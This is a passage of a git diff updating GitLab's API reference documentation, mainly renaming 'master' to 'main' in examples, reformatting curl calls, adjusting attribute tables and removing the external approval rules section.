+| `file_name_regex` | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, e.g. `(jar|exe)$` |
+| `max_file_size` | integer | no | Maximum file size (MB) allowed |
+| `commit_committer_check` | boolean | no | Only commits pushed using verified emails are allowed |
+| `reject_unsigned_commits` | boolean | no | Only commits signed through GPG are allowed |
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/19/push_rule"
@@ -1439,7 +1473,7 @@ Response:
}
```
-### Delete group push rule **(STARTER)**
+### Delete group push rule **(PREMIUM)**
Deletes the [push rules](../user/group/index.md#group-push-rules) of a group.
diff --git a/doc/api/instance_level_ci_variables.md b/doc/api/instance_level_ci_variables.md
index 58e69e22a15..de6fd958aa6 100644
--- a/doc/api/instance_level_ci_variables.md
+++ b/doc/api/instance_level_ci_variables.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Authoring
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -85,7 +85,8 @@ POST /admin/ci/variables
| `masked` | boolean | no | Whether the variable is masked. |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/admin/ci/variables" --form "key=NEW_VARIABLE" --form "value=new value"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/admin/ci/variables" --form "key=NEW_VARIABLE" --form "value=new value"
```
```json
@@ -115,7 +116,8 @@ PUT /admin/ci/variables/:key
| `masked` | boolean | no | Whether the variable is masked. |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/admin/ci/variables/NEW_VARIABLE" --form "value=updated value"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/admin/ci/variables/NEW_VARIABLE" --form "value=updated value"
```
```json
diff --git a/doc/api/invitations.md b/doc/api/invitations.md
index fbdecd0e3fa..36ff2d5bda4 100644
--- a/doc/api/invitations.md
+++ b/doc/api/invitations.md
@@ -4,7 +4,7 @@ group: Expansion
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Invitations API
+# Invitations API **(FREE)**
Use the Invitations API to send email to users you want to join a group or project, and to list pending
invitations.
@@ -41,10 +41,13 @@ POST /projects/:id/invitations
| `email` | string | yes | The email of the new member or multiple emails separated by commas |
| `access_level` | integer | yes | A valid access level |
| `expires_at` | string | no | A date string in the format YEAR-MONTH-DAY |
+| `invite_source` | string | no | The source of the invitation that starts the member creation process. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/327120). |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "email=test@example.com&access_level=30" "https://gitlab.example.com/api/v4/groups/:id/invitations"
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "email=test@example.com&access_level=30" "https://gitlab.example.com/api/v4/projects/:id/invitations"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --data "email=test@example.com&access_level=30" "https://gitlab.example.com/api/v4/groups/:id/invitations"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --data "email=test@example.com&access_level=30" "https://gitlab.example.com/api/v4/projects/:id/invitations"
```
Example responses:
diff --git a/doc/api/issues.md b/doc/api/issues.md
index acfca50cb5e..f321c00e7f2 100644
--- a/doc/api/issues.md
+++ b/doc/api/issues.md
@@ -65,7 +65,6 @@ GET /issues?state=opened
| `issue_type` | string | no | Filter to a given type of issue. One of `issue`, `incident`, or `test_case`. _(Introduced in [GitLab 13.12](https://gitlab.com/gitlab-org/gitlab/-/issues/260375))_ |
| `iteration_id` **(PREMIUM)** | integer | no | Return issues assigned to the given iteration ID. `None` returns issues that do not belong to an iteration. `Any` returns issues that belong to an iteration. Mutually exclusive with `iteration_title`. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6)_ |
| `iteration_title` **(PREMIUM)** | string | no | Return issues assigned to the iteration with the given title. Similar to `iteration_id` and mutually exclusive with `iteration_id`. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6)_ |
-| `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. |
| `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. `No+Label` (Deprecated) lists all issues with no labels. Predefined names are case-insensitive. |
| `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. |
| `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14016) in GitLab 10.0)_ |
@@ -996,7 +995,7 @@ POST /projects/:id/issues
| `issue_type` | string | no | The type of issue. One of `issue`, `incident`, or `test_case`. Default is `issue`. |
| `labels` | string | no | Comma-separated label names for an issue |
| `merge_request_to_resolve_discussions_of` | integer | no | The IID of a merge request in which to resolve all issues. This fills out the issue with a default description and mark all discussions as resolved. When passing a description or title, these values take precedence over the default values.|
-| `milestone_id` | integer | no | The global ID of a milestone to assign issue |
+| `milestone_id` | integer | no | The global ID of a milestone to assign issue. To find the `milestone_id` associated with a milestone, view an issue with the milestone assigned and [use the API](#single-project-issue) to retrieve the issue's details. |
| `title` | string | yes | The title of an issue |
| `weight` **(PREMIUM)** | integer | no | The weight of the issue. Valid values are greater than or equal to 0. |
@@ -2081,6 +2080,7 @@ Example response:
"source_project_id": 1,
"target_project_id": 1,
"labels": [],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 27,
@@ -2232,6 +2232,7 @@ Example response:
"closed_at": null,
"closed_by": null,
"labels": [],
+ "draft": false,
"work_in_progress": false,
"milestone": null,
"merge_when_pipeline_succeeds": false,
diff --git a/doc/api/job_artifacts.md b/doc/api/job_artifacts.md
index 0dbb35a62cd..54404559577 100644
--- a/doc/api/job_artifacts.md
+++ b/doc/api/job_artifacts.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Testing
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -90,7 +90,7 @@ Parameters
Example request using the `PRIVATE-TOKEN` header:
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/master/download?job=test"
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/main/download?job=test"
```
To use this in a [`script` definition](../ci/yaml/README.md#script) inside
@@ -98,25 +98,25 @@ To use this in a [`script` definition](../ci/yaml/README.md#script) inside
- The `JOB-TOKEN` header with the GitLab-provided `CI_JOB_TOKEN` variable.
For example, the following job downloads the artifacts of the `test` job
- of the `master` branch. Note that the command is wrapped into single quotes
+ of the `main` branch. Note that the command is wrapped into single quotes
because it contains a colon (`:`):
```yaml
artifact_download:
stage: test
script:
- - 'curl --location --output artifacts.zip --header "JOB-TOKEN: $CI_JOB_TOKEN" "https://gitlab.example.com/api/v4/projects/$CI_PROJECT_ID/jobs/artifacts/master/download?job=test"'
+ - 'curl --location --output artifacts.zip --header "JOB-TOKEN: $CI_JOB_TOKEN" "https://gitlab.example.com/api/v4/projects/$CI_PROJECT_ID/jobs/artifacts/main/download?job=test"'
```
- Or the `job_token` attribute with the GitLab-provided `CI_JOB_TOKEN` variable.
For example, the following job downloads the artifacts of the `test` job
- of the `master` branch:
+ of the `main` branch:
```yaml
artifact_download:
stage: test
script:
- - 'curl --location --output artifacts.zip "https://gitlab.example.com/api/v4/projects/$CI_PROJECT_ID/jobs/artifacts/master/download?job=test&job_token=$CI_JOB_TOKEN"'
+ - 'curl --location --output artifacts.zip "https://gitlab.example.com/api/v4/projects/$CI_PROJECT_ID/jobs/artifacts/main/download?job=test&job_token=$CI_JOB_TOKEN"'
```
Possible response status codes:
@@ -193,7 +193,7 @@ Parameters:
Example request:
```shell
-curl --location --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/master/raw/some/release/file.pdf?job=pdf"
+curl --location --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/main/raw/some/release/file.pdf?job=pdf"
```
Possible response status codes:
@@ -243,7 +243,7 @@ Example response:
"download_url": null,
"id": 42,
"name": "rubocop",
- "ref": "master",
+ "ref": "main",
"artifacts": [],
"runner": null,
"stage": "test",
diff --git a/doc/api/jobs.md b/doc/api/jobs.md
index 6647b53bcb4..b92f2a72c03 100644
--- a/doc/api/jobs.md
+++ b/doc/api/jobs.md
@@ -1,10 +1,10 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Jobs API
+# Jobs API **(FREE)**
## List project jobs
@@ -63,11 +63,11 @@ Example of response
"pipeline": {
"id": 6,
"project_id": 1,
- "ref": "master",
+ "ref": "main",
"sha": "0ff3ae198f8601a285adcf5c0fff204ee6fba5fd",
"status": "pending"
},
- "ref": "master",
+ "ref": "main",
"runner": null,
"stage": "test",
"status": "failed",
@@ -117,11 +117,11 @@ Example of response
"pipeline": {
"id": 6,
"project_id": 1,
- "ref": "master",
+ "ref": "main",
"sha": "0ff3ae198f8601a285adcf5c0fff204ee6fba5fd",
"status": "pending"
},
- "ref": "master",
+ "ref": "main",
"artifacts": [],
"runner": null,
"stage": "test",
@@ -198,11 +198,11 @@ Example of response
"pipeline": {
"id": 6,
"project_id": 1,
- "ref": "master",
+ "ref": "main",
"sha": "0ff3ae198f8601a285adcf5c0fff204ee6fba5fd",
"status": "pending"
},
- "ref": "master",
+ "ref": "main",
"artifacts": [],
"runner": null,
"stage": "test",
@@ -263,11 +263,11 @@ Example of response
"pipeline": {
"id": 6,
"project_id": 1,
- "ref": "master",
+ "ref": "main",
"sha": "0ff3ae198f8601a285adcf5c0fff204ee6fba5fd",
"status": "pending"
},
- "ref": "master",
+ "ref": "main",
"runner": null,
"stage": "test",
"status": "failed",
@@ -348,14 +348,14 @@ Example of response
"pipeline": {
"id": 6,
"project_id": 1,
- "ref": "master",
+ "ref": "main",
"sha": "0ff3ae198f8601a285adcf5c0fff204ee6fba5fd",
"status": "pending",
"created_at": "2015-12-24T15:50:16.123Z",
"updated_at": "2015-12-24T18:00:44.432Z",
"web_url": "https://example.com/foo/bar/pipelines/6"
},
- "ref": "master",
+ "ref": "main",
"stage": "test",
"status": "pending",
"tag": false,
@@ -380,7 +380,7 @@ Example of response
"downstream_pipeline": {
"id": 5,
"sha": "f62a4b2fb89754372a346f24659212eb8da13601",
- "ref": "master",
+ "ref": "main",
"status": "pending",
"created_at": "2015-12-24T17:54:27.722Z",
"updated_at": "2015-12-24T17:58:27.896Z",
@@ -433,11 +433,11 @@ Example of response
"pipeline": {
"id": 6,
"project_id": 1,
- "ref": "master",
+ "ref": "main",
"sha": "0ff3ae198f8601a285adcf5c0fff204ee6fba5fd",
"status": "pending"
},
- "ref": "master",
+ "ref": "main",
"artifacts": [],
"runner": null,
"stage": "test",
@@ -518,7 +518,7 @@ Example response:
"id": 1,
"project_id": 1,
"sha": "b83d6e391c22777fca1ed3012fce84f633d7fed0",
- "ref": "master",
+ "ref": "main",
"status": "pending",
"created_at": "2021-03-26T14:51:51.107Z",
"updated_at": "2021-03-26T14:51:51.107Z",
@@ -590,11 +590,11 @@ Example of response
"pipeline": {
"id": 6,
"project_id": 1,
- "ref": "master",
+ "ref": "main",
"sha": "0ff3ae198f8601a285adcf5c0fff204ee6fba5fd",
"status": "pending"
},
- "ref": "master",
+ "ref": "main",
"artifacts": [],
"runner": null,
"stage": "test",
@@ -684,7 +684,7 @@ Example of response
"queued_duration": 0.010,
"id": 42,
"name": "rubocop",
- "ref": "master",
+ "ref": "main",
"artifacts": [],
"runner": null,
"stage": "test",
@@ -734,7 +734,7 @@ Example of response
"queued_duration": 0.010,
"id": 42,
"name": "rubocop",
- "ref": "master",
+ "ref": "main",
"artifacts": [],
"runner": null,
"stage": "test",
@@ -784,7 +784,7 @@ Example of response
"download_url": null,
"id": 42,
"name": "rubocop",
- "ref": "master",
+ "ref": "main",
"artifacts": [],
"runner": null,
"stage": "test",
@@ -839,7 +839,7 @@ Example of response
"queued_duration": 0.010,
"id": 42,
"name": "rubocop",
- "ref": "master",
+ "ref": "main",
"artifacts": [],
"runner": null,
"stage": "test",
diff --git a/doc/api/labels.md b/doc/api/labels.md
index a9f2698a270..5abab7a79c4 100644
--- a/doc/api/labels.md
+++ b/doc/api/labels.md
@@ -46,8 +46,7 @@ Example response:
"open_merge_requests_count": 1,
"subscribed": false,
"priority": 10,
- "is_project_label": true,
- "remove_on_close": false
+ "is_project_label": true
},
{
"id" : 4,
@@ -61,8 +60,7 @@ Example response:
"open_merge_requests_count": 0,
"subscribed": false,
"priority": null,
- "is_project_label": true,
- "remove_on_close": false
+ "is_project_label": true
},
{
"id" : 7,
@@ -76,8 +74,7 @@ Example response:
"open_merge_requests_count": 1,
"subscribed": false,
"priority": null,
- "is_project_label": true,
- "remove_on_close": true
+ "is_project_label": true
},
{
"id" : 8,
@@ -91,8 +88,7 @@ Example response:
"open_merge_requests_count": 2,
"subscribed": false,
"priority": null,
- "is_project_label": false,
- "remove_on_close": false
+ "is_project_label": false
},
{
"id" : 9,
@@ -106,8 +102,7 @@ Example response:
"open_merge_requests_count": 1,
"subscribed": true,
"priority": null,
- "is_project_label": true,
- "remove_on_close": false
+ "is_project_label": true
}
]
```
@@ -145,8 +140,7 @@ Example response:
"open_merge_requests_count": 1,
"subscribed": false,
"priority": 10,
- "is_project_label": true,
- "remove_on_close": true
+ "is_project_label": true
}
```
@@ -165,7 +159,6 @@ POST /projects/:id/labels
| `color` | string | yes | The color of the label given in 6-digit hex notation with leading '#' sign (e.g. #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) |
| `description` | string | no | The description of the label |
| `priority` | integer | no | The priority of the label. Must be greater or equal than zero or `null` to remove the priority. |
-| `remove_on_close` | boolean | no | Whether the label should be removed from an issue when the issue is closed. _([Introduced in GitLab 13.12](https://gitlab.com/gitlab-org/gitlab/-/issues/17461))_ |
```shell
curl --data "name=feature&color=#5843AD" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/labels"
@@ -186,8 +179,7 @@ Example response:
"open_merge_requests_count": 0,
"subscribed": false,
"priority": null,
- "is_project_label": true,
- "remove_on_close": true
+ "is_project_label": true
}
```
@@ -228,10 +220,10 @@ PUT /projects/:id/labels/:label_id
| `color` | string | yes if `new_name` is not provided | The color of the label given in 6-digit hex notation with leading '#' sign (e.g. #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) |
| `description` | string | no | The new description of the label |
| `priority` | integer | no | The new priority of the label. Must be greater or equal than zero or `null` to remove the priority. |
-| `remove_on_close` | boolean | no | Boolean option specifying whether the label should be removed from issues when they are closed. |
```shell
-curl --request PUT --data "new_name=docs&color=#8E44AD&description=Documentation" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/labels/documentation"
+curl --request PUT --data "new_name=docs&color=#8E44AD&description=Documentation" \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/labels/documentation"
```
Example response:
@@ -249,8 +241,7 @@ Example response:
"open_merge_requests_count": 2,
"subscribed": false,
"priority": null,
- "is_project_label": true,
- "remove_on_close": true
+ "is_project_label": true
}
```
@@ -291,8 +282,7 @@ Example response:
"open_issues_count": 1,
"closed_issues_count": 0,
"open_merge_requests_count": 2,
- "subscribed": false,
- "remove_on_close": true
+ "subscribed": false
}
```
@@ -333,8 +323,7 @@ Example response:
"open_merge_requests_count": 1,
"subscribed": true,
"priority": null,
- "is_project_label": true,
- "remove_on_close": true
+ "is_project_label": true
}
```
diff --git a/doc/api/lint.md b/doc/api/lint.md
index 867a5e54663..57d11d15adc 100644
--- a/doc/api/lint.md
+++ b/doc/api/lint.md
@@ -1,19 +1,26 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# CI Lint API
+# CI Lint API **(FREE)**
## Validate the CI YAML configuration
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5953) in GitLab 8.12.
-
Checks if CI/CD YAML configuration is valid. This endpoint validates basic CI/CD
configuration syntax. It doesn't have any namespace specific context.
-Access to this endpoint requires authentication.
+Access to this endpoint does not require authentication when the instance
+[allows new sign ups](../user/admin_area/settings/sign_up_restrictions.md#disable-new-sign-ups)
+and:
+
+- Does not have an [allowlist or denylist](../user/admin_area/settings/sign_up_restrictions.md#allow-or-deny-sign-ups-using-specific-email-domains).
+- Does not [require administrator approval for new sign ups](../user/admin_area/settings/sign_up_restrictions.md#require-administrator-approval-for-new-sign-ups).
+- Does not have additional [sign up
+ restrictions](../user/admin_area/settings/sign_up_restrictions.html#sign-up-restrictions).
+
+Otherwise, authentication is required.
```plaintext
POST /ci/lint
@@ -111,7 +118,7 @@ Example response:
{
"status": "valid",
"errors": [],
- "merged_config": "---\n:another_test:\n :stage: test\n :script: echo 2\n:test:\n :stage: test\n :script: echo 1\n"
+ "merged_yaml": "---\n:another_test:\n :stage: test\n :script: echo 2\n:test:\n :stage: test\n :script: echo 1\n"
}
```
diff --git a/doc/api/managed_licenses.md b/doc/api/managed_licenses.md
index 68a19b9912f..4be4f83b4ce 100644
--- a/doc/api/managed_licenses.md
+++ b/doc/api/managed_licenses.md
@@ -128,7 +128,8 @@ PATCH /projects/:id/managed_licenses/:managed_license_id
| `approval_status` | string | yes | The approval status. "approved" or "blacklisted" |
```shell
-curl --request PATCH --data "approval_status=blacklisted" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/managed_licenses/6"
+curl --request PATCH --data "approval_status=blacklisted" \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/managed_licenses/6"
```
Example response:
diff --git a/doc/api/members.md b/doc/api/members.md
index 2a70e35b287..627c9a12b5e 100644
--- a/doc/api/members.md
+++ b/doc/api/members.md
@@ -415,10 +415,13 @@ POST /projects/:id/members
| `user_id` | integer/string | yes | The user ID of the new member or multiple IDs separated by commas |
| `access_level` | integer | yes | A valid access level |
| `expires_at` | string | no | A date string in the format `YEAR-MONTH-DAY` |
+| `invite_source` | string | no | The source of the invitation that starts the member creation process. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/327120). |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "user_id=1&access_level=30" "https://gitlab.example.com/api/v4/groups/:id/members"
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "user_id=1&access_level=30" "https://gitlab.example.com/api/v4/projects/:id/members"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --data "user_id=1&access_level=30" "https://gitlab.example.com/api/v4/groups/:id/members"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --data "user_id=1&access_level=30" "https://gitlab.example.com/api/v4/projects/:id/members"
```
Example response:
diff --git a/doc/api/merge_request_approvals.md b/doc/api/merge_request_approvals.md
index 978cbff625c..8947e5b382f 100644
--- a/doc/api/merge_request_approvals.md
+++ b/doc/api/merge_request_approvals.md
@@ -29,7 +29,7 @@ GET /projects/:id/approvals
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | ------------------- |
-| `id` | integer | yes | The ID of a project |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
```json
{
@@ -58,7 +58,7 @@ POST /projects/:id/approvals
| Attribute | Type | Required | Description |
| ------------------------------------------------ | ------- | -------- | --------------------------------------------------------------------------------------------------- |
-| `id` | integer | yes | The ID of a project |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
| `approvals_before_merge` | integer | no | How many approvals are required before an MR can be merged. Deprecated in 12.0 in favor of Approval Rules API. |
| `reset_approvals_on_push` | boolean | no | Reset approvals on a new push |
| `disable_overriding_approvers_per_merge_request` | boolean | no | Allow/Disallow overriding approvers per MR |
@@ -93,7 +93,7 @@ GET /projects/:id/approval_rules
| Attribute | Type | Required | Description |
|----------------------|---------|----------|-----------------------------------------------------------|
-| `id` | integer | yes | The ID of a project |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
```json
[
@@ -192,7 +192,7 @@ GET /projects/:id/approval_rules/:approval_rule_id
| Attribute | Type | Required | Description |
|----------------------|---------|----------|-----------------------------------------------------------|
-| `id` | integer | yes | The ID of a project |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
| `approval_rule_id` | integer | yes | The ID of a approval rule |
```json
@@ -291,7 +291,7 @@ POST /projects/:id/approval_rules
| Attribute | Type | Required | Description |
|------------------------|---------|----------|------------------------------------------------------------------|
-| `id` | integer | yes | The ID of a project |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
| `name` | string | yes | The name of the approval rule |
| `approvals_required` | integer | yes | The number of required approvals for this rule |
| `user_ids` | Array | no | The ids of users as approvers |
@@ -396,7 +396,7 @@ PUT /projects/:id/approval_rules/:approval_rule_id
| Attribute | Type | Required | Description |
|------------------------|---------|----------|------------------------------------------------------------------|
-| `id` | integer | yes | The ID of a project |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
| `approval_rule_id` | integer | yes | The ID of a approval rule |
| `name` | string | yes | The name of the approval rule |
| `approvals_required` | integer | yes | The number of required approvals for this rule |
@@ -500,123 +500,9 @@ DELETE /projects/:id/approval_rules/:approval_rule_id
| Attribute | Type | Required | Description |
|----------------------|---------|----------|-----------------------------------------------------------|
-| `id` | integer | yes | The ID of a project |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
| `approval_rule_id` | integer | yes | The ID of a approval rule
-## External Project-level MR approvals **(ULTIMATE)**
-
-Configuration for approvals on a specific Merge Request which makes a call to an external HTTP resource.
-
-> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3869) in GitLab 13.10.
-> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-external-project-level-mr-approvals). **(ULTIMATE SELF)**
-
-### Get project external approval rules **(ULTIMATE)**
-
-You can request information about a project's external approval rules using the following endpoint:
-
-```plaintext
-GET /projects/:id/external_approval_rules
-```
-
-**Parameters:**
-
-| Attribute | Type | Required | Description |
-|---------------------|---------|----------|---------------------|
-| `id` | integer | yes | The ID of a project |
-
-```json
-[
- {
- "id": 1,
- "name": "Compliance Check",
- "project_id": 6,
- "external_url": "https://gitlab.com/example/test.json",
- "protected_branches": [
- {
- "id": 14,
- "project_id": 6,
- "name": "master",
- "created_at": "2020-10-12T14:04:50.787Z",
- "updated_at": "2020-10-12T14:04:50.787Z",
- "code_owner_approval_required": false
- }
- ]
- }
-]
-```
-
-### Create external approval rule **(ULTIMATE)**
-
-You can create a new external approval rule for a project using the following endpoint:
-
-```plaintext
-POST /projects/:id/external_approval_rules
-```
-
-| Attribute | Type | Required | Description |
-|------------------------|----------------|----------|----------------------------------------------------|
-| `id` | integer | yes | The ID of a project |
-| `name` | string | yes | Display name of approval rule |
-| `external_url` | string | yes | URL of external approval resource |
-| `protected_branch_ids` | `array<Integer>` | no | The ids of protected branches to scope the rule by |
-
-### Delete external approval rule **(ULTIMATE)**
-
-You can delete an external approval rule for a project using the following endpoint:
-
-```plaintext
-DELETE /projects/:id/external_approval_rules/:rule_id
-```
-
-| Attribute | Type | Required | Description |
-|------------------------|----------------|----------|----------------------------------------------------|
-| `rule_id` | integer | yes | The ID of an approval rule |
-| `id` | integer | yes | The ID of a project |
-
-### Update external approval rule **(ULTIMATE)**
-
-You can update an existing external approval rule for a project using the following endpoint:
-
-```plaintext
-PUT /projects/:id/external_approval_rules/:rule_id
-```
-
-| Attribute | Type | Required | Description |
-|------------------------|----------------|----------|----------------------------------------------------|
-| `id` | integer | yes | The ID of a project |
-| `rule_id` | integer | yes | The ID of an external approval rule |
-| `name` | string | no | Display name of approval rule |
-| `external_url` | string | no | URL of external approval resource |
-| `protected_branch_ids` | `array<Integer>` | no | The ids of protected branches to scope the rule by |
-
-### Enable or disable External Project-level MR approvals **(ULTIMATE SELF)**
-
-Enable or disable External Project-level MR approvals is under development and not ready for production use. It is
-deployed behind a feature flag that is **disabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../user/feature_flags.md)
-can enable it.
-
-To enable it:
-
-```ruby
-# For the instance
-Feature.enable(:ff_compliance_approval_gates)
-# For a single project
-Feature.enable(:ff_compliance_approval_gates, Project.find(<project id>))
-```
-
-To disable it:
-
-```ruby
-# For the instance
-Feature.disable(:ff_compliance_approval_gates)
-# For a single project
-Feature.disable(:ff_compliance_approval_gates, Project.find(<project id>))
-```
-
## Merge Request-level MR approvals
Configuration for approvals on a specific Merge Request. Must be authenticated for all endpoints.
@@ -637,7 +523,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/approvals
| Attribute | Type | Required | Description |
|---------------------|---------|----------|---------------------|
-| `id` | integer | yes | The ID of a project |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of MR |
```json
@@ -684,7 +570,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/approvals
| Attribute | Type | Required | Description |
|----------------------|---------|----------|--------------------------------------------|
-| `id` | integer | yes | The ID of a project |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of MR |
| `approvals_required` | integer | yes | Approvals required before MR can be merged. Deprecated in 12.0 in favor of Approval Rules API. |
@@ -726,7 +612,7 @@ This includes additional information about the users who have already approved
| Attribute | Type | Required | Description |
|----------------------|---------|----------|---------------------|
-| `id` | integer | yes | The ID of a project |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of MR |
```json
@@ -793,7 +679,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/approval_rules
| Attribute | Type | Required | Description |
|---------------------|---------|----------|---------------------|
-| `id` | integer | yes | The ID of a project |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of MR |
```json
@@ -871,7 +757,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/approval_rules
| Attribute | Type | Required | Description |
|----------------------------|---------|----------|------------------------------------------------|
-| `id` | integer | yes | The ID of a project |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of MR |
| `name` | string | yes | The name of the approval rule |
| `approvals_required` | integer | yes | The number of required approvals for this rule |
@@ -961,7 +847,7 @@ These are system generated rules.
| Attribute | Type | Required | Description |
|----------------------|---------|----------|------------------------------------------------|
-| `id` | integer | yes | The ID of a project |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The ID of MR |
| `approval_rule_id` | integer | yes | The ID of a approval rule |
| `name` | string | yes | The name of the approval rule |
@@ -1045,9 +931,9 @@ These are system generated rules.
| Attribute | Type | Required | Description |
|---------------------|---------|----------|---------------------------|
-| `id` | integer | yes | The ID of a project |
-| `merge_request_iid` | integer | yes | The ID of MR |
-| `approval_rule_id` | integer | yes | The ID of a approval rule |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `merge_request_iid` | integer | yes | The IID of the merge request |
+| `approval_rule_id` | integer | yes | The ID of an approval rule |
## Approve Merge Request
@@ -1065,9 +951,9 @@ POST /projects/:id/merge_requests/:merge_request_iid/approve
| Attribute | Type | Required | Description |
|---------------------|---------|----------|-------------------------|
-| `id` | integer | yes | The ID of a project |
-| `merge_request_iid` | integer | yes | The IID of MR |
-| `sha` | string | no | The HEAD of the MR |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `merge_request_iid` | integer | yes | The IID of the merge request |
+| `sha` | string | no | The `HEAD` of the merge request |
| `approval_password` **(PREMIUM)** | string | no | Current user's password. Required if [**Require user password to approve**](../user/project/merge_requests/approvals/settings.md#require-authentication-for-approvals) is enabled in the project settings. |
The `sha` parameter works in the same way as
@@ -1129,5 +1015,5 @@ POST /projects/:id/merge_requests/:merge_request_iid/unapprove
| Attribute | Type | Required | Description |
|---------------------|---------|----------|---------------------|
-| `id` | integer | yes | The ID of a project |
-| `merge_request_iid` | integer | yes | The IID of MR |
+| `id` | integer or string | yes | The ID or [URL-encoded path of a project](README.md#namespaced-path-encoding) |
+| `merge_request_iid` | integer | yes | The IID of a merge request |
